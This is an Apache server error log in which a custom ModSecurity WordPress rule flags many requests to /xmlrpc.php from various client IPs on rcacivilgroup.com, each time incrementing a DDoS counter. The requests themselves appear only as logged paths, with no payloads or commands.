[Sat Apr 11 15:12:38.415502 2026] [:error] [pid 11067:tid 11072] [client 68.183.124.132:37660] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn0ZsW3w7N67R04YCLBsAAAAEM"]
[Sat Apr 11 15:13:32.698253 2026] [:error] [pid 2186:tid 2207] [client 96.46.48.39:42650] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn0nMibnOEEvcO8wPIQWQAAAJE"]
[Sat Apr 11 15:16:07.362899 2026] [:error] [pid 2187:tid 2231] [client 180.181.244.244:34774] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn1Nw4J29_qQi0FkjieBQAAAAM"]
[Sat Apr 11 15:16:22.226729 2026] [:error] [pid 2188:tid 2263] [client 217.160.22.146:44236] [client 217.160.22.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.22.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn1RoDhDA-Xtn2nRScj0QAAAMc"]
[Sat Apr 11 15:17:39.471830 2026] [:error] [pid 2187:tid 2239] [client 185.199.223.27:60810] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn1kw4J29_qQi0FkjieRQAAAAs"]
[Sat Apr 11 15:23:28.386328 2026] [:error] [pid 11067:tid 11071] [client 163.61.60.30:57424] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn28MW3w7N67R04YCLHAQAAAEI"]
[Sat Apr 11 15:28:09.253373 2026] [:error] [pid 2188:tid 2266] [client 185.199.223.39:36066] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn4CYDhDA-Xtn2nRScn1gAAAMo"]
[Sat Apr 11 15:32:54.944467 2026] [:error] [pid 2186:tid 2200] [client 87.98.165.243:37018] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn5JsibnOEEvcO8wPIVfAAAAIo"]
[Sat Apr 11 15:36:37.197580 2026] [:error] [pid 11067:tid 11090] [client 103.27.206.168:47772] [client 103.27.206.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.27.206.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn6BcW3w7N67R04YCLRGgAAAFU"]
[Sat Apr 11 15:41:39.149985 2026] [:error] [pid 2297:tid 2314] [client 138.122.43.166:46318] [client 138.122.43.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.43.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn7M7XJS-Jji11jZk0IawAAAQ0"]
[Sat Apr 11 15:42:37.674969 2026] [:error] [pid 2297:tid 2309] [client 163.61.60.30:59684] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn7bbXJS-Jji11jZk0I6gAAAQg"]
[Sat Apr 11 15:43:29.396656 2026] [:error] [pid 11067:tid 11093] [client 195.142.136.26:55602] [client 195.142.136.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.142.136.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn7ocW3w7N67R04YCLV7wAAAFg"]
[Sat Apr 11 15:44:52.373040 2026] [:error] [pid 11067:tid 11090] [client 93.166.103.102:33108] [client 93.166.103.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.166.103.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn79MW3w7N67R04YCLXAQAAAFU"]
[Sat Apr 11 15:52:49.260274 2026] [:error] [pid 2188:tid 2265] [client 45.87.221.196:55300] [client 45.87.221.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.87.221.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn90YDhDA-Xtn2nRScv2gAAAMk"]
[Sat Apr 11 16:03:22.585093 2026] [:error] [pid 11067:tid 11084] [client 72.61.3.94:41550] [client 72.61.3.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.61.3.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoASsW3w7N67R04YCLgTwAAAE8"]
[Sat Apr 11 16:10:44.053413 2026] [:error] [pid 11067:tid 11072] [client 51.178.183.70:53214] [client 51.178.183.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.178.183.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoCBMW3w7N67R04YCLkCQAAAEM"]
[Sat Apr 11 16:26:17.113634 2026] [:error] [pid 11067:tid 11083] [client 82.223.68.239:32828] [client 82.223.68.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.68.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoFqcW3w7N67R04YCLs_AAAAE4"]
[Sat Apr 11 16:28:00.086177 2026] [:error] [pid 2188:tid 2275] [client 159.223.103.141:41402] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoGEIDhDA-Xtn2nRSc4sgAAANM"]
[Sat Apr 11 16:35:50.932927 2026] [:error] [pid 2188:tid 2272] [client 185.226.232.56:39260] [client 185.226.232.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.226.232.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoH5oDhDA-Xtn2nRSc6kAAAANA"]
[Sat Apr 11 16:37:14.943717 2026] [:error] [pid 2187:tid 2251] [client 67.73.243.12:51350] [client 67.73.243.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.73.243.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoIOg4J29_qQi0FkjixmAAAABc"]
[Sat Apr 11 16:38:47.806467 2026] [:error] [pid 2186:tid 2202] [client 159.203.177.184:34564] [client 159.203.177.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.177.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoIl8ibnOEEvcO8wPIhLgAAAIw"]
[Sat Apr 11 16:41:46.469360 2026] [:error] [pid 11067:tid 11074] [client 20.218.128.24:32970] [client 20.218.128.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.218.128.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoJSsW3w7N67R04YCL0sQAAAEU"]
[Sat Apr 11 16:51:18.294146 2026] [:error] [pid 2188:tid 2271] [client 217.216.48.92:34214] [client 217.216.48.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.216.48.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoLhoDhDA-Xtn2nRSc_HAAAAM8"]
[Sat Apr 11 17:00:13.578401 2026] [:error] [pid 2186:tid 2197] [client 149.202.83.206:44398] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoNncibnOEEvcO8wPIlugAAAIc"]
[Sat Apr 11 17:06:22.275361 2026] [:error] [pid 2297:tid 2303] [client 103.110.84.178:49508] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoPDrXJS-Jji11jZk0o0gAAAQI"]
[Sat Apr 11 17:08:20.545575 2026] [:error] [pid 11067:tid 11083] [client 165.227.121.154:33126] [client 165.227.121.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.121.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoPhMW3w7N67R04YCIEhQAAAE4"]
[Sat Apr 11 17:11:05.199747 2026] [:error] [pid 2186:tid 2190] [client 143.244.166.58:58042] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoQKcibnOEEvcO8wPInlQAAAIA"]
[Sat Apr 11 17:12:51.280099 2026] [:error] [pid 2188:tid 2261] [client 137.184.237.108:54648] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoQk4DhDA-Xtn2nRSdF1QAAAMU"]
[Sat Apr 11 17:22:44.856928 2026] [:error] [pid 45412:tid 45465] [client 81.8.91.201:42278] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoS5E5U4tOqJ5tPyZ6DnwAAABU"]
[Sat Apr 11 17:23:19.875184 2026] [:error] [pid 45506:tid 45509] [client 223.233.77.246:22559] [client 223.233.77.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.77.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoTB09zUxUffxGPumvWhQAAAEE"]
[Sat Apr 11 17:24:27.566409 2026] [:error] [pid 45412:tid 45462] [client 4.240.89.23:54056] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.240.89.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoTS05U4tOqJ5tPyZ6EZgAAABI"]
[Sat Apr 11 17:28:55.440924 2026] [:error] [pid 45413:tid 45486] [client 200.152.177.16:44668] [client 200.152.177.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.152.177.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoUVz4976Wm1h7ctryoDQAAAM8"]
[Sat Apr 11 17:40:46.568251 2026] [:error] [pid 54610:tid 54633] [client 185.199.223.39:46608] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoXHge-u3uFASN-RPFtYAAAARQ"]
[Sat Apr 11 17:41:32.323134 2026] [:error] [pid 54519:tid 54561] [client 82.64.81.82:36914] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.64.81.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoXTB3fdONpCON3MUiE8gAAAMw"]
[Sat Apr 11 17:51:35.756191 2026] [:error] [pid 54610:tid 54615] [client 82.64.81.82:40440] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.64.81.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoZpwe-u3uFASN-RPF4vwAAAQI"]
[Sat Apr 11 17:52:36.522859 2026] [:error] [pid 54519:tid 54565] [client 51.210.113.223:58802] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoZ5B3fdONpCON3MUiKEwAAANA"]
[Sat Apr 11 17:56:51.551538 2026] [:error] [pid 54610:tid 54620] [client 163.61.60.30:49168] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoa4we-u3uFASN-RPF8uAAAAQc"]
[Sat Apr 11 17:58:53.402734 2026] [:error] [pid 54610:tid 54636] [client 165.227.121.154:42166] [client 165.227.121.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.121.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adobXQe-u3uFASN-RPF-qAAAARc"]
[Sat Apr 11 17:59:06.181164 2026] [:error] [pid 54610:tid 54636] [client 163.61.60.30:58762] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adobage-u3uFASN-RPF_LwAAARc"]
[Sat Apr 11 18:03:50.378102 2026] [:error] [pid 54610:tid 54619] [client 100.52.25.12:40358] [client 100.52.25.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.52.25.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adochge-u3uFASN-RPGDvwAAAQY"]
[Sat Apr 11 18:03:59.860998 2026] [:error] [pid 54610:tid 54618] [client 108.181.199.63:59316] [client 108.181.199.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.181.199.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adocjwe-u3uFASN-RPGD7AAAAQU"]
[Sat Apr 11 18:04:16.828969 2026] [:error] [pid 54520:tid 54580] [client 54.36.181.89:35606] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.181.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adocoMOfMlnGwwoJrMB_jAAAAEQ"]
[Sat Apr 11 18:04:26.326006 2026] [:error] [pid 54519:tid 54570] [client 85.128.143.129:56336] [client 85.128.143.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.129, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adocqh3fdONpCON3MUiOpQAAANU"]
[Sat Apr 11 18:06:22.580147 2026] [:error] [pid 54520:tid 54596] [client 197.221.14.188:53950] [client 197.221.14.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.221.14.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adodHsOfMlnGwwoJrMCBHwAAAFQ"]
[Sat Apr 11 18:09:48.507052 2026] [:error] [pid 54519:tid 54566] [client 34.175.117.206:54806] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adod7B3fdONpCON3MUiQ4wAAANE"]
[Sat Apr 11 18:11:45.729209 2026] [:error] [pid 54610:tid 54623] [client 163.61.60.30:54210] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoeYQe-u3uFASN-RPGMEAAAAQo"]
[Sat Apr 11 18:17:32.398957 2026] [:error] [pid 54518:tid 54546] [client 82.64.81.82:44406] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.64.81.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adofvKKi5dAhX05ubq0yRAAAAJg"]
[Sat Apr 11 18:29:12.831928 2026] [:error] [pid 54519:tid 54552] [client 45.233.148.131:50462] [client 45.233.148.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.148.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoieB3fdONpCON3MUiXYgAAAMM"]
[Sat Apr 11 18:31:26.520909 2026] [:error] [pid 65248:tid 65265] [client 134.122.21.213:45246] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.21.213, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoi_jI-iGHcq-8gSqrnpQAAAA8"]
[Sat Apr 11 18:32:46.471636 2026] [:error] [pid 54518:tid 54534] [client 43.156.13.166:54940] [client 43.156.13.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.156.13.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adojTqKi5dAhX05ubq02wwAAAIw"]
[Sat Apr 11 18:35:50.673955 2026] [:error] [pid 65248:tid 65250] [client 93.91.154.4:43352] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adokBjI-iGHcq-8gSqrqzwAAAAA"]
[Sat Apr 11 18:39:42.159293 2026] [:error] [pid 54518:tid 54543] [client 23.239.25.95:56962] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.239.25.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adok7qKi5dAhX05ubq04YQAAAJU"]
[Sat Apr 11 18:40:29.741266 2026] [:error] [pid 65248:tid 65266] [client 207.154.197.201:39106] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adolHTI-iGHcq-8gSqrt0wAAABA"]
[Sat Apr 11 18:42:56.930356 2026] [:error] [pid 54610:tid 54628] [client 100.52.25.12:56170] [client 100.52.25.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.52.25.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adolsAe-u3uFASN-RPGd4QAAAQ8"]
[Sat Apr 11 18:52:54.024920 2026] [:error] [pid 65248:tid 65262] [client 192.250.227.63:52734] [client 192.250.227.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.227.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adooBjI-iGHcq-8gSqr2ugAAAAw"]
[Sat Apr 11 18:58:13.024752 2026] [:error] [pid 65248:tid 65252] [client 217.160.22.146:34808] [client 217.160.22.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.22.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adopRTI-iGHcq-8gSqr6AwAAAAI"]
[Sat Apr 11 18:58:17.760321 2026] [:error] [pid 54520:tid 54598] [client 63.131.146.5:46664] [client 63.131.146.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.131.146.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adopScOfMlnGwwoJrMCVCwAAAFY"]
